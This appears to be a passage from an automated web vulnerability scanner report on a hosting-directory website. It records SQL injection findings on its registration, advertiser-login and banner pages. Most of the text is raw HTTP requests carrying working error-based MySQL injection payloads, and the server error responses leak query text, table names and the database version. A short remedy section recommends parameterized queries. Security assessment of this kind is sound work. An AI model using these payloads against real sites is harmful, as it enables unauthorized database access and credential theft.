company_name POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 730
Accept-Encoding: gzip, deflate

company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:58:54 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 711
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:0' for key 1 in SQL SELECT account_id FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 718
Accept-Encoding: gzip, deflate

company_name='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:20:41 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 354
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id FROM account WHERE company_name=''+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Extracted Data

5.0.77

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 699
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:39 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 349
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1062: Duplicate entry '_!@4dilemma:0' for key 1 in SQL SELECT account_id FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+''
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
password POST 3
form_field POST 1

Extracted Data

5.0.77

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 323
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&password=3&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:29:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 383


Error #1062: Duplicate entry '_!@4dilemma:0' for key 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
password POST 3
remember_both POST 1
remember_mail POST 1
form_field POST 1

Extracted Data

5.0.77

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 355
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&password=3&remember_both=1&remember_mail=1&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:35:30 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 383


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php CONFIRMED

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
password POST 3
B1 POST Login
form_field POST 1

Extracted Data

5.0.77

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 332
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&password=3&B1=Login&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:40:46 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 383


Error #1062: Duplicate entry '_!@4dilemma:1' for key 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+(select 1 and row(1,1)>(select count(*),concat(concat(char(95),char(33),char(64),char(52),char(100),char(105),char(108),char(101),char(109),char(109),char(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' AND active NOT IN (2,3,4)
[Probable] SQL Injection

[Probable] SQL Injection

15 TOTAL
CRITICAL
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. This is an extremely common vulnerability and its successful exploitation can have critical implications. Even though Netsparker believes that there is a SQL Injection in here it could not confirm it. There can be numerous reasons for Netsparker not being able to confirm this. We strongly recommend investigating the issue manually to ensure that it is an SQL Injection and that it needs to be addressed. You can also consider sending the details of this issue to us, in order that we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Actions to Take

  1. See the remedy for solution.
  2. If you are not using a database access layer (DAL) within the architecture consider its benefits and implement if appropriate. As a minimum the use of s DAL will help centralize the issue and its resolution. You can also use an ORM (object relational mapping). Most ORM systems use parameterized queries and this can solve many if not all SQL Injection based problems.
  3. Locate all of the dynamically generated SQL queries and convert them to parameterised queries. (If you decide to use a DAL/ORM, change all legacy code to use these new libraries)
  4. Monitor and review weblogs and application logs in order to uncover active or previous exploitation attempts.

Remedy

A very robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to test for SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /banner.php

/banner.php

http://www.hostingcatalog.com/banner.php?id='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHA..

Parameters

Parameter Type Value
id GET '+ convert(int,(CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))) +'

Request

GET /banner.php?id='%2B%20convert(int,(CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97)))%20%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.hostingcatalog.com
Cookie: PHPSESSID=ptafq9e5a5qh52n7lhsaof9ea6; time_0=1303646197; user_counted_0=1%3CAND%3E%3CAND%3E24%3CAND%3E66%3CAND%3E101%3CAND%3E43%3CAND%3E46%3CAND%3E65%3CAND%3E77%3CAND%3E26%3CAND%3E29%3CAND%3E28
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:23:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 510


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '柡D! ����b���io�a")́�~H�v7P"M� x7��Ķr�����1N:�@�' AND a.active = 0 ' at line 6 in SQL SELECT COUNT(b.banner_aff_id) FROM banner_aff AS b LEFT JOIN affiliate AS a USING(aff_id) WHERE b.hash_code='' AND b.banner_aff_id='�^�!�'柡D! ����b���io�a")́�~H�v7P"M� x7��Ķr�����1N:�@�' AND a.active = 0 AND b.status = 'active'
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST netsparker@example.com
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 670
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&copy_from_cont=1&country=240&deposit=3&e_mail=netsparker%40example.com&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:49:51 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 448
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
account_type POST 1
address POST 3
address2 POST 3
B1 POST Create An Account!
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_country POST 240
bill_phone POST 3
bill_province POST 3
bill_state POST 3
bill_zip POST 3
card_number POST 3
card_type POST 1
city POST 3
company_name POST Smith
copy_from_cont POST 1
country POST 240
deposit POST 3
e_mail POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
expire_date POST 3
first_name POST Smith
last_name POST Smith
owner_first_name POST Smith
owner_last_name POST Smith
password POST 3
phone POST 3
promo_code POST 3
province POST 3
retype_e_mail POST netsparker@example.com
retype_password POST 3
state POST 3
zip POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060
Content-Length: 651
Accept-Encoding: gzip, deflate

account_type=1&address=3&address2=3&B1=Create+An+Account!&bill_address=3&bill_address2=3&bill_city=3&bill_country=240&bill_phone=3&bill_province=3&bill_state=3&bill_zip=3&card_number=3&card_type=1&city=3&company_name=Smith&copy_from_cont=1&country=240&deposit=3&e_mail='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&expire_date=3&first_name=Smith&last_name=Smith&owner_first_name=Smith&owner_last_name=Smith&password=3&phone=3&promo_code=3&province=3&retype_e_mail=netsparker%40example.com&retype_password=3&state=3&zip=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 12:50:33 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 443
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +''
- /advert_login.php

/advert_login.php

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
B1 POST Login
form_field POST 1
password POST 3
remember_both POST 1
remember_mail POST 1
temp_check POST 755
user_login POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 267
Accept-Encoding: gzip, deflate

B1=Login&form_field=1&password=3&remember_both=1&remember_mail=1&temp_check=755&user_login='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 12:58:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 477


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +'' AND active NOT IN (2,3,4)
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
